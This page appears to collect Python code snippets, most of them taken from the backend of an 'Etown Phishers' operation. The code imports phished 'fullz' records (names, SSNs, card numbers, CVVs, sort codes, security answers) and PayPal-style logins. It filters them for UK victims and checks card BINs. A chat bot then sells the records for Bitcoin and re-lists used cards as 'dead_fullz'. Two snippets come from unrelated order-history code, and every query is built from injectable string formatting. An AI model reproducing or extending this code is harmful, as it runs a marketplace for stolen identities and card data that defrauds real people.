示例#1
0
    def export_fullz(self, table_name='fullz'):
        try:
            result_text = ""
            sample_text = "+ ------------- Etown Phishers -------------+\n+ ------------------------------------------+\n+ Personal Information\n| id: %s\n%s%s%s%s%s%s%s%s%s+ ------------------------------------------+\n+ Billing Information\n%s%s%s%s%s%s%s%s+ ------------------------------------------+\n+ Account Information\n%s%s+ ------------------------------------------+\n+ Victim Information\n%s%s%s%s%s+ ------------------------------------------+\n\n"
            query = "select full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip_address, location, user_agent, browser, platform, id from `%s` where 1" % table_name
            query_conn.execute(query)
            f_list = query_conn.fetchall()
            for f in f_list:
                result_text += sample_text % (
                    f[24], decrypt(f[0]), decrypt(f[1]), decrypt(f[2]),
                    decrypt(f[3]), decrypt(f[4]), decrypt(f[5]), decrypt(f[6]),
                    decrypt(f[7]), decrypt(f[8]), decrypt(f[9]), decrypt(
                        f[10]), decrypt(f[11]), decrypt(f[12]), decrypt(f[13]),
                    decrypt(f[14]), decrypt(f[15]), decrypt(
                        f[16]), decrypt(f[17]), decrypt(f[18]), decrypt(
                            f[19]), decrypt(f[20]), decrypt(
                                f[21]), decrypt(f[22]), decrypt(f[23]))

            self.set_file_content(result_text)

            if self.delete_table == True:
                query_conn.execute("delete from `%s`" % table_name)
                conn.commit()
        except Exception as e:
            print('ExportModule export %s method has any errors.' % table_name)
            print(e)
示例#2
0
 def setUserBan(self, uin, ban):
     if ban == 'true':
         set_ban = 'Y'
     else:
         set_ban = 'N'
     query = "update `user` set ban='%s' where uin=%s" % (set_ban, uin)
     query_conn.execute(query)
     conn.commit()
示例#3
0
	def import_pp(self, table_name = 'pp'):
		try:
			pp_data_list = self.get_file_content()

			for index, data in enumerate(pp_data_list):
				try:
					if data.index("Email: ") >= 0:
						id, email, password, ip, location, user_agent, browser, platform = pp_data_list[index-1], pp_data_list[index], pp_data_list[index+1], pp_data_list[index+3], pp_data_list[index+4], pp_data_list[index+5], pp_data_list[index+6], pp_data_list[index+7]

						ip_address = ip.replace("| IP Address : ", "").replace("\n", "")
						eml = email.replace("| Email: ", "").replace("\n", "")
						paswd = password.replace("| Password : "******"").replace("\n", "")
						locat = location.replace("| Location: ", "").replace("\n", "")
						print('---  %s  ---' % eml)

						email, password, ip, location, user_agent, browser, platform = encrypt(email).decode('utf-8'), encrypt(password).decode('utf-8'), encrypt(ip).decode('utf-8'), encrypt(location).decode('utf-8'), encrypt(user_agent).decode('utf-8'), encrypt(browser).decode('utf-8'), encrypt(platform).decode('utf-8')

						# print('before check')
						#check
						self.filter.set_badword_mode('Not Equal')
						check = self.filter.check_word([eml, paswd])
						if check == 'EXIST_BAD_WORD':
							print('%s has bad word' % eml)
							continue

						check = self.filter.check_location(locat)
						if check == 'NOT_UK':
							print('%s is not in United Kingdom' % eml)
							continue

						check, index = self.filter.check_ip(ip_address, table_name)
						if check == 'EXIST_IN_FULLZ' or check == 'EXIST_IN_PP':
							print('%s exist in pp or fullz' % eml)
							continue

						# print('before query')
						# get id & query
						try:
							id = int(id.replace("| id : ", "").replace("\n", ""), 10)
							query = "insert into `%s` (`id`, `email`, `password`, `ip_address`, `location`, `user_agent`, `browser`, `platform`) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (table_name, id, email, password, ip, location, user_agent, browser, platform)
						except:
							id = ''
							query = "insert into `%s` (`email`, `password`, `ip_address`, `location`, `user_agent`, `browser`, `platform`) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (table_name, email, password, ip, location, user_agent, browser, platform)

						# print(query)
						query_conn.execute(query)
						conn.commit()
						insert_count = query_conn.rowcount

						print("type=%s, id = %s, insert cont = %s -> Success" % (table_name, id, insert_count))
				except:
					# print('substring not found. index=%s, type=%s' % (index, table_name))
					pass
		except Exception as e:
			print('ImportModule import %s method has any errors.' % table_name)
			print(e)
示例#4
0
	def delete_row(self, table_name, id):
		try:
			if id > 0:
				query = "delete from `%s` where id=%s" % (table_name, id)
				query_conn.execute(query)
				conn.commit()
				return query_conn.rowcount
		except Exception as e:
			print('FilterModule delete row id=%s from table=%s has any errors.' % (id, table_name))
			print(e)
示例#5
0
 def store(self):
     #sotre in order_history
     global cursor
     data = [{
         'one_uid': x.uid,
         'guid': self.uid,
         'name': x.name,
         'num': x.num,
         'stamp': self.stamp
     } for x in self.done]
     sql = 'insert into order_history (one_uid, guid, name, num, stamp) values (:one_uid,:guid,:name,:num,:stamp)'
     cursor.executemany(sql, data)
     conn.commit()
示例#6
0
 def store(self):
     global cursor
     sql = 'insert into customer_history (session_id,one_uid,name,num,guid,stamp) values (:sid,:one_uid,:name,:num,:guid,:stamp)'
     data = [{
         'sid': customer,
         'one_uid': x.uid,
         'name': x.name,
         'num': x.num,
         'guid': self.uid,
         'stamp': self.stamp
     } for customer in self.customer for x in self.details]
     cursor.executemany(sql, data)
     conn.commit()
示例#7
0
    def export_pp(self, table_name='pp'):
        try:
            result_text = ""
            sample_text = "+ ----------- Login Information ------------+\n+ ------------------------------------------+\n| id: %s\n%s%s+ ------------------------------------------+\n%s%s%s%s%s+ ------------------------------------------+\n\n"
            query = "select email, password, ip_address, location, user_agent, browser, platform, id from `%s` where 1" % table_name
            query_conn.execute(query)
            f_list = query_conn.fetchall()
            for f in f_list:
                result_text += sample_text % (f[7], decrypt(f[0]), decrypt(
                    f[1]), decrypt(f[2]), decrypt(f[3]), decrypt(
                        f[4]), decrypt(f[5]), decrypt(f[6]))

            self.set_file_content(result_text)

            if self.delete_table == True:
                query_conn.execute("delete from `%s`" % table_name)
                conn.commit()
        except Exception as e:
            print('ExportModule export %s method has any errors.' % table_name)
            print(e)
示例#8
0
def log_output(index,
               command,
               aimId,
               flag,
               result,
               chats=[],
               insert_command=True):
    global LOG_FILES, LOG_DATABASE

    time_now = int((datetime.datetime.now() -
                    datetime.datetime(1970, 1, 1)).total_seconds())

    try:
        if LOG_FILES == True:
            sample_text = "index=>%s,time=>%s,command=>%s,aimId=>%s,flag=>%s,result=>%s@#@"
            # file_name = "../../var/www/html/logs/" + datetime.datetime.now().strftime("%Y-%m-%d") + ".txt"
            file_name = "logs/" + datetime.datetime.now().strftime(
                "%Y-%m-%d") + ".txt"
            result_text = sample_text % (index, datetime.datetime.now(
            ).strftime("%H:%M:%S"), command, aimId, flag, result)
            with open(file_name, "a") as log_file:
                log_file.write(result_text)

        if LOG_DATABASE == True:
            if insert_command == True:
                query = "insert into `chat` (`uin`, `time`, `log_id`, `log_params`, `command`) values ('%s', '%s', '0', '', '/%s')" % (
                    aimId, time_now, command)
                query_conn.execute(query)
                conn.commit()
            if len(chats) > 0:
                for chat in chats:
                    if len(chat) > 1:
                        query = 'insert into `chat` (`uin`, `time`, `log_id`, `log_params`, `command`) values ("%s", "%s", "%s", "%s", "")' % (
                            aimId, time_now, chat[0], chat[1])
                        query_conn.execute(query)
                        conn.commit()
    except:
        print('thread log output error occurs.')
示例#9
0
	def import_fullz(self, table_name = 'fullz'):
		try:
			fullz_data_list = self.get_file_content()

			for index, data in enumerate(fullz_data_list):
				try:
					if data.index("Card BIN : ") >= 0:
						id, full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip, location, user_agent, browser, platform = fullz_data_list[index-12], fullz_data_list[index-11], fullz_data_list[index-10], fullz_data_list[index-9], fullz_data_list[index-8], fullz_data_list[index-7], fullz_data_list[index-6], fullz_data_list[index-5], fullz_data_list[index-4], fullz_data_list[index-3], fullz_data_list[index], fullz_data_list[index+1], fullz_data_list[index+2], fullz_data_list[index+3], fullz_data_list[index+4], fullz_data_list[index+5], fullz_data_list[index+6], fullz_data_list[index+7], fullz_data_list[index+10], fullz_data_list[index+11], fullz_data_list[index+14], fullz_data_list[index+15], fullz_data_list[index+16], fullz_data_list[index+17], fullz_data_list[index+18]

						ip_address = ip.replace("| IP Address : ", "").replace("\n", "")
						card = card_number.replace("| Card Number : ", "").replace("\n", "")
						fullname = full_name.replace("| Full name : ", "").replace("\n", "")
						addres = address.replace("| Address : ", "").replace("\n", "")
						security_answer = secu_answer.replace("| Security Answer : ", "").replace("\n", "")
						locat = location.replace("| Location: ", "").replace("\n", "")
						print('---  %s  ---' % fullname)

						# 1s sleep
						time.sleep(5)

						bin1 = card_bin.replace("| Card BIN : ", "").replace("\n", "")
						# print('<--- bin : %s' % bin1)
						url = "https://lookup.binlist.net/" + bin1
						bin_data = requests.get(url)
						# print('bin : %s --->' % bin_data)
						bin_data = bin_data.json()
						type = bin_data['type']
						type = encrypt(type).decode('utf-8')
						full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip, location, user_agent, browser, platform = encrypt(full_name).decode('utf-8'), encrypt(birth_date).decode('utf-8'), encrypt(address).decode('utf-8'), encrypt(zip).decode('utf-8'), encrypt(country).decode('utf-8'), encrypt(phone).decode('utf-8'), encrypt(ssn).decode('utf-8'), encrypt(secu_question).decode('utf-8'), encrypt(secu_answer).decode('utf-8'), encrypt(card_bin).decode('utf-8'), encrypt(card_bank).decode('utf-8'), encrypt(card_type).decode('utf-8'), encrypt(card_number).decode('utf-8'), encrypt(expire_date).decode('utf-8'), encrypt(cvv).decode('utf-8'), encrypt(account_number).decode('utf-8'), encrypt(sortcode).decode('utf-8'), encrypt(user_name).decode('utf-8'), encrypt(password).decode('utf-8'), encrypt(ip).decode('utf-8'), encrypt(location).decode('utf-8'), encrypt(user_agent).decode('utf-8'), encrypt(browser).decode('utf-8'), encrypt(platform).decode('utf-8')

						# print('before check')
						# check
						self.filter.set_badword_mode('Equal')
						check = self.filter.check_word([fullname, addres, security_answer])
						if check == 'EXIST_BAD_WORD':
							print('%s has bad word' % fullname)
							continue

						check = self.filter.check_location(locat)
						if check == 'NOT_UK':
							print('%s is not in United Kingdom' % fullname)
							continue

						check = self.filter.check_card(card)
						if check == 'EXIST_IN_FULLZ':
							print('%s exist in fullz' % fullname)
							continue

						check, idx = self.filter.check_ip(ip_address, table_name)
						if check == 'EXIST_IN_FULLZ':
							print('%s exist in fullz' % fullname)
							continue
						elif check == 'EXIST_IN_PP':
							self.filter.delete_row('pp', idx)
							print('%s exist in pp' % idx)

						# print('before query')
						# get id & query
						try:
							id = int(id.replace("| id : ", "").replace("\n", ""), 10)
							query = "insert into `%s` (`id`, `full_name`, `birth_date`, `address`, `zip`, `country`, `phone`, `ssn`, `secu_question`, `secu_answer`, `card_bin`, `card_bank`, `card_type`, `card_number`, `expire_date`, `cvv`, `account_number`, `sortcode`, `user_name`, `password`, `ip_address`, `location`, `user_agent`, `browser`, `platform`, `type`) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (table_name, id, full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip, location, user_agent, browser, platform, type)
						except:
							id = ''
							query = "insert into `%s` (`full_name`, `birth_date`, `address`, `zip`, `country`, `phone`, `ssn`, `secu_question`, `secu_answer`, `card_bin`, `card_bank`, `card_type`, `card_number`, `expire_date`, `cvv`, `account_number`, `sortcode`, `user_name`, `password`, `ip_address`, `location`, `user_agent`, `browser`, `platform`, `type`) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (table_name, full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip, location, user_agent, browser, platform, type)

						# print(query)
						query_conn.execute(query)
						conn.commit()
						insert_count = query_conn.rowcount

						print("type=%s, id = %s, insert cont = %s -> Success" % (table_name, id, insert_count))
				except:
					# print('substring not found. index=%s, type=%s' % (index, table_name))
					pass
		except Exception as e:
			print('ImportModule import %s method has any errors.' % table_name)
			print(e)
示例#10
0
def main():
    try:
        time_now = int((datetime.datetime.now() -
                        datetime.datetime(1970, 1, 1)).total_seconds())

        pre_process()

        # each deposit
        query_conn.execute("select * from deposit where 1")
        d_list = query_conn.fetchall()

        for deposit in d_list:
            id, bin_type, deposit_address, deposit_amount, paid_amount, paid_time, uin, start_time = deposit
            time_now = int((datetime.datetime.now() -
                            datetime.datetime(1970, 1, 1)).total_seconds())
            transaction_info = blockexplorer.get_address(
                address=deposit_address)
            tran = transaction_info.transactions
            result_text = ""

            if len(tran) > 0 and tran[0].time > time_now - 7200:
                t_list = transaction_info.transactions[0].outputs
                t_time = transaction_info.transactions[0].time
                for t in t_list:
                    if t.address == deposit_address:
                        amount = int(t.value)

                if amount > 0:
                    if int(amount) >= int(float(deposit_amount) * 100000000):
                        if bin_type == "Fullz":
                            result_text = get_payment_fullz(
                                uin, deposit_address)
                            query = "select full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip_address, location, user_agent, browser, platform, type from fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                                deposit_address, uin)
                            query_conn.execute(query)
                            f_list = query_conn.fetchall()
                            for f in f_list:
                                full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip, location, user_agent, browser, platform, type = f[
                                    0], f[1], f[2], f[3], f[4], f[5], f[6], f[
                                        7], f[8], f[9], f[10], f[11], f[12], f[
                                            13], f[14], f[15], f[16], f[17], f[
                                                18], f[19], f[20], f[21], f[
                                                    22], f[23], f[24]
                                insert_query = "insert into `dead_fullz` (`full_name`, `birth_date`, `address`, `zip`, `country`, `phone`, `ssn`, `secu_question`, `secu_answer`, `card_bin`, `card_bank`, `card_type`, `card_number`, `expire_date`, `cvv`, `account_number`, `sortcode`, `user_name`, `password`, `ip_address`, `location`, `user_agent`, `browser`, `platform`, `type`, `status`, `lock_time`) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', 'dead', '%s')" % (
                                    full_name, birth_date, address, zip,
                                    country, phone, ssn, secu_question,
                                    secu_answer, card_bin, card_bank,
                                    card_type, card_number, expire_date, cvv,
                                    account_number, sortcode, user_name,
                                    password, ip, location, user_agent,
                                    browser, platform, type, time_now)
                                query_conn.execute(insert_query)
                                conn.commit()
                                insert_count = query_conn.rowcount
                                log_output(
                                    '207', 'thread', uin, 'success',
                                    ('%d insert dead_fullz status=dead' %
                                     insert_count), [], False)
                            query = "delete from fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                                deposit_address, uin)
                            query_conn.execute(query)
                            conn.commit()
                            delete_count = query_conn.rowcount
                            if (delete_count > 0):
                                log_output('208', 'thread', uin, 'success',
                                           ('%d delete fullz' % delete_count),
                                           [], False)
                        elif bin_type == "dead_fullz":
                            result_text = get_payment_dead_fullz(
                                uin, deposit_address)
                            query = "delete from dead_fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                                deposit_address, uin)
                            query_conn.execute(query)
                            conn.commit()
                            delete_count = query_conn.rowcount
                            if (delete_count > 0):
                                log_output(
                                    '210', 'thread', uin, 'success',
                                    ('%d delete dead_fullz' % delete_count),
                                    [], False)
                        elif bin_type == "PP":
                            result_text = get_payment_pp(uin, deposit_address)
                            query = "delete from pp where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                                deposit_address, uin)
                            query_conn.execute(query)
                            conn.commit()
                            delete_count = query_conn.rowcount
                            if (delete_count > 0):
                                log_output('211', 'thread', uin, 'success',
                                           ('%d delete pp' % delete_count), [],
                                           False)

                        # `order` success = 'Y'
                        query = "update `order` set `success`='Y' where uin=%s and product_type='%s' and btc=%s and ongoing='Y'" % (
                            uin, bin_type, deposit_amount)
                        query_conn.execute(query)
                        conn.commit()
                        update_count = query_conn.rowcount
                        if (update_count > 0):
                            log_output(
                                '225', 'thread', uin, 'success',
                                ('%d update order success=Y' % update_count),
                                [], False)

                        # `deposit` delete
                        query = "delete from deposit where id=%s" % id
                        query_conn.execute(query)
                        conn.commit()
                        delete_count = query_conn.rowcount
                        if (delete_count > 0):
                            log_output('212', 'thread', uin, 'success',
                                       ('%d delete deposit' % delete_count),
                                       [], False)
                    else:
                        if paid_amount > 0 and t_time != paid_time:
                            total_paid = int(amount + paid_amount * 100000000)
                            if total_paid >= int(
                                    float(deposit_amount) * 100000000):
                                if bin_type == "Fullz":
                                    result_text = get_payment_fullz(
                                        uin, deposit_address)
                                    query = "select full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip_address, location, user_agent, browser, platform, type from fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                                        deposit_address, uin)
                                    query_conn.execute(query)
                                    f_list = query_conn.fetchall()
                                    for f in f_list:
                                        full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip, location, user_agent, browser, platform, type = f[
                                            0], f[1], f[2], f[3], f[4], f[5], f[
                                                6], f[7], f[8], f[9], f[10], f[
                                                    11], f[12], f[13], f[14], f[
                                                        15], f[16], f[17], f[
                                                            18], f[19], f[
                                                                20], f[21], f[
                                                                    22], f[
                                                                        23], f[
                                                                            24]
                                        insert_query = "insert into `dead_fullz` (`full_name`, `birth_date`, `address`, `zip`, `country`, `phone`, `ssn`, `secu_question`, `secu_answer`, `card_bin`, `card_bank`, `card_type`, `card_number`, `expire_date`, `cvv`, `account_number`, `sortcode`, `user_name`, `password`, `ip_address`, `location`, `user_agent`, `browser`, `platform`, `type`, `status`, `lock_time`) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', 'dead', '%s')" % (
                                            full_name, birth_date, address,
                                            zip, country, phone, ssn,
                                            secu_question, secu_answer,
                                            card_bin, card_bank, card_type,
                                            card_number, expire_date, cvv,
                                            account_number, sortcode,
                                            user_name, password, ip, location,
                                            user_agent, browser, platform,
                                            type, time_now)
                                        query_conn.execute(insert_query)
                                        conn.commit()
                                        insert_count = query_conn.rowcount
                                        log_output(
                                            '213', 'thread', uin, 'success',
                                            ('%d insert dead_fullz status=dead'
                                             % insert_count), [], False)
                                    query = "delete from fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                                        deposit_address, uin)
                                    query_conn.execute(query)
                                    conn.commit()
                                    delete_count = query_conn.rowcount
                                    if (delete_count > 0):
                                        log_output(
                                            '214', 'thread', uin, 'success',
                                            ('%d delete fullz' % delete_count),
                                            [], False)
                                elif bin_type == "dead_fullz":
                                    result_text = get_payment_dead_fullz(
                                        uin, deposit_address)
                                    query = "delete from dead_fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                                        deposit_address, uin)
                                    query_conn.execute(query)
                                    conn.commit()
                                    delete_count = query_conn.rowcount
                                    if (delete_count > 0):
                                        log_output('216', 'thread', uin,
                                                   'success',
                                                   ('%d delete dead_fullz' %
                                                    delete_count), [], False)
                                elif bin_type == "PP":
                                    result_text = get_payment_pp(
                                        uin, deposit_address)
                                    query = "delete from pp where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                                        deposit_address, uin)
                                    query_conn.execute(query)
                                    conn.commit()
                                    delete_count = query_conn.rowcount
                                    if (delete_count > 0):
                                        log_output(
                                            '217', 'thread', uin, 'success',
                                            ('%d delete pp' % delete_count),
                                            [], False)

                                # `order` success = 'Y'
                                query = "update `order` set `success`='Y' where uin=%s and product_type='%s' and btc=%s and ongoing='Y'" % (
                                    uin, bin_type, deposit_amount)
                                query_conn.execute(query)
                                conn.commit()
                                update_count = query_conn.rowcount
                                if (update_count > 0):
                                    log_output('226', 'thread', uin, 'success',
                                               ('%d update order success=Y' %
                                                update_count), [], False)

                                # `deposit` delete
                                query = "delete from deposit where id=%s" % id
                                query_conn.execute(query)
                                conn.commit()
                                delete_count = query_conn.rowcount
                                if (delete_count > 0):
                                    log_output(
                                        '218', 'thread', uin, 'success',
                                        ('%d delete deposit' % delete_count),
                                        [], False)
                            else:
                                pay_amount = "{:.8f}".format(total_paid)
                                query = "update deposit set paid_amount=%s where id=%s" % (
                                    pay_amount, id)
                                query_conn.execute(query)
                                conn.commit()
                                update_count = query_conn.rowcount
                                if (update_count > 0):
                                    log_output(
                                        '219', 'thread', uin, 'success',
                                        ('update paid_amount=%s deposit id=%s'
                                         % (pay_amount, id)), [], False)
                                result_text = LOG_PATTERNS[39]['content'] % (
                                    deposit_amount, pay_amount)  #39
                        else:
                            pay_amount = "{:.8f}".format(
                                float(amount / 100000000))
                            # rest_amount = "{:.8f}".format(float(deposit_amount) - float(amount / 100000000))
                            query = "update deposit set paid_amount=%s, paid_time=%s where id=%s" % (
                                pay_amount, t_time, id)
                            query_conn.execute(query)
                            conn.commit()
                            update_count = query_conn.rowcount
                            if (update_count > 0):
                                log_output(
                                    '220', 'thread', uin, 'success',
                                    ('update paid_amount=%s deposit id=%s' %
                                     (pay_amount, id)), [], False)
                            if paid_time == 0:
                                result_text = LOG_PATTERNS[40]['content'] % (
                                    deposit_amount, pay_amount)  #40

                else:
                    # log_output('221', 'thread', uin, 'fail', 'not payment')
                    # print("didn't find payment.")
                    pass
            else:
                # log_output('222', 'thread', uin, 'fail', 'not payment')
                # print("Didn't find payment")
                pass
            if result_text != "":
                log_output('223', 'thread', uin, 'success', 'not payment',
                           [[0, result_text]], False)
                bot.send_im(target=uin, message=result_text)
    except Exception as e:
        print('thread main error occurs.')
        print(e)
        traceback.print_exc()
示例#11
0
def process_payment_order(deposit):
    # print(deposit)
    id, bin_type, deposit_address, deposit_amount, paid_amount, paid_time, uin, start_time = deposit
    time_now = int((datetime.datetime.now() -
                    datetime.datetime(1970, 1, 1)).total_seconds())
    result_text = ""

    try:
        if bin_type == "Fullz":
            result_text = get_payment_fullz(uin, deposit_address)
            if result_text != "":
                query = "select full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip_address, location, user_agent, browser, platform, type from fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                    deposit_address, uin)
                query_conn.execute(query)
                f_list = query_conn.fetchall()
                for f in f_list:
                    full_name, birth_date, address, zip, country, phone, ssn, secu_question, secu_answer, card_bin, card_bank, card_type, card_number, expire_date, cvv, account_number, sortcode, user_name, password, ip, location, user_agent, browser, platform, type = f[
                        0], f[1], f[2], f[3], f[4], f[5], f[6], f[7], f[8], f[
                            9], f[10], f[11], f[12], f[13], f[14], f[15], f[
                                16], f[17], f[18], f[19], f[20], f[21], f[
                                    22], f[23], f[24]
                    insert_query = "insert into `dead_fullz` (`full_name`, `birth_date`, `address`, `zip`, `country`, `phone`, `ssn`, `secu_question`, `secu_answer`, `card_bin`, `card_bank`, `card_type`, `card_number`, `expire_date`, `cvv`, `account_number`, `sortcode`, `user_name`, `password`, `ip_address`, `location`, `user_agent`, `browser`, `platform`, `type`, `status`, `lock_time`) values ('%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s', 'dead', '%s')" % (
                        full_name, birth_date, address, zip, country, phone,
                        ssn, secu_question, secu_answer, card_bin, card_bank,
                        card_type, card_number, expire_date, cvv,
                        account_number, sortcode, user_name, password, ip,
                        location, user_agent, browser, platform, type,
                        time_now)
                    query_conn.execute(insert_query)
                    conn.commit()
                    insert_count = query_conn.rowcount
                    log_output(
                        '207', 'thread', uin, 'success',
                        ('%d insert dead_fullz status=dead' % insert_count),
                        [], False)
                query = "delete from fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                    deposit_address, uin)
                query_conn.execute(query)
                conn.commit()
                delete_count = query_conn.rowcount
                if (delete_count > 0):
                    log_output('208', 'thread', uin, 'success',
                               ('%d delete fullz' % delete_count), [], False)
        elif bin_type == "dead_fullz":
            result_text = get_payment_dead_fullz(uin, deposit_address)
            if result_text != "":
                query = "delete from dead_fullz where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                    deposit_address, uin)
                query_conn.execute(query)
                conn.commit()
                delete_count = query_conn.rowcount
                if (delete_count > 0):
                    log_output('210', 'thread', uin, 'success',
                               ('%d delete dead_fullz' % delete_count), [],
                               False)
        elif bin_type == "PP":
            result_text = get_payment_pp(uin, deposit_address)
            if result_text != "":
                query = "delete from pp where deposit_address='%s' and lock_customer=%s and status='confirm'" % (
                    deposit_address, uin)
                query_conn.execute(query)
                conn.commit()
                delete_count = query_conn.rowcount
                if (delete_count > 0):
                    log_output('211', 'thread', uin, 'success',
                               ('%d delete pp' % delete_count), [], False)
        else:
            result_text = ""

        if (bin_type == "Fullz" or bin_type == "dead_fullz"
                or bin_type == "PP") and result_text != "":
            # `order` success = 'Y'
            query = "update `order` set `success`='Y' where uin=%s and product_type=%s and btc=%s and ongoing='Y'" % (
                uin, bin_type, deposit_amount)
            query_conn.execute(query)
            conn.commit()
            update_count = query_conn.rowcount
            if (update_count > 0):
                log_output('225', 'thread', uin, 'success',
                           ('%d update order success=Y' % update_count), [],
                           False)

            # `deposit` delete
            query = "delete from deposit where id=%s" % id
            query_conn.execute(query)
            conn.commit()
            delete_count = query_conn.rowcount
            if (delete_count > 0):
                log_output('212', 'thread', uin, 'success',
                           ('%d delete deposit' % delete_count), [], False)

    except:
        print('process payment & order & deposit in thread error occurs.')

    return result_text
示例#12
0
def pre_process():
    try:
        time_now = int((datetime.datetime.now() -
                        datetime.datetime(1970, 1, 1)).total_seconds())

        # confirm -> on
        unlock_time = time_now - 1800
        query = "update pp set status='on', lock_time=0, lock_customer='', deposit_address='' where status='confirm' and lock_time<%s" % unlock_time
        query_conn.execute(query)
        conn.commit()
        update_count = query_conn.rowcount
        if (update_count > 0):
            log_output(
                '200', 'thread', '', 'success',
                ('%d update pp status=on from status=confirm' % update_count),
                [], False)
        query = "update fullz set status='on', lock_time=0, lock_customer='', deposit_address='' where status='confirm' and lock_time<%s" % unlock_time
        query_conn.execute(query)
        conn.commit()
        update_count = query_conn.rowcount
        if (update_count > 0):
            log_output('201', 'thread', '', 'success',
                       ('%d update fullz status=on from status=confirm' %
                        update_count), [], False)
        query = "update dead_fullz set status='on', lock_time=0, lock_customer='', deposit_address='' where status='confirm' and lock_time<%s" % unlock_time
        query_conn.execute(query)
        conn.commit()
        update_count = query_conn.rowcount
        if (update_count > 0):
            log_output('202', 'thread', '', 'success',
                       ('%d update dead_fullz status=on from status=confirm' %
                        update_count), [], False)

        # ongoing Y -> N
        query = "update `order` set ongoing='N' where ongoing='Y' and `time`<%s" % unlock_time
        query_conn.execute(query)
        conn.commit()
        update_count = query_conn.rowcount
        if (update_count > 0):
            log_output('224', 'thread', '', 'success',
                       ('%d update order ongoing=N' % update_count), [], False)

        # delete deposit
        query = "delete from deposit where start_time<%s" % unlock_time
        query_conn.execute(query)
        conn.commit()
        delete_count = query_conn.rowcount
        if (delete_count > 0):
            log_output('203', 'thread', '', 'success',
                       ('%d delete deposit' % delete_count), [], False)

        # lock -> on
        unlock_time = time_now - 1800
        query = "update pp set status='on', lock_time=0, lock_customer='' where status='lock' and lock_time<%s" % unlock_time
        query_conn.execute(query)
        conn.commit()
        update_count = query_conn.rowcount
        if (update_count > 0):
            log_output(
                '204', 'thread', '', 'success',
                ('%d update pp status=on from status=lock' % update_count), [],
                False)
        query = "update fullz set status='on', lock_time=0, lock_customer='' where status='lock' and lock_time<%s" % unlock_time
        query_conn.execute(query)
        conn.commit()
        update_count = query_conn.rowcount
        if (update_count > 0):
            log_output(
                '205', 'thread', '', 'success',
                ('%d update fullz status=on from status=lock' % update_count),
                [], False)
        query = "update dead_fullz set status='on', lock_time=0, lock_customer='' where status='lock' and lock_time<%s" % unlock_time
        query_conn.execute(query)
        conn.commit()
        update_count = query_conn.rowcount
        if (update_count > 0):
            log_output('206', 'thread', '', 'success',
                       ('%d update dead_fullz status=on from status=lock' %
                        update_count), [], False)

        # dead -> on
        dead_time = time_now - 3600 * 72
        query = "update dead_fullz set status='on', lock_time=0, lock_customer='', deposit_address='' where status='dead' and lock_time<%s" % dead_time
        query_conn.execute(query)
        conn.commit()
        update_count = query_conn.rowcount
        if (update_count > 0):
            log_output('209', 'thread', uin, 'success',
                       ('%d update dead_fullz status=on from status=dead' %
                        update_count), [], False)
    except:
        print('pre process error occurs.')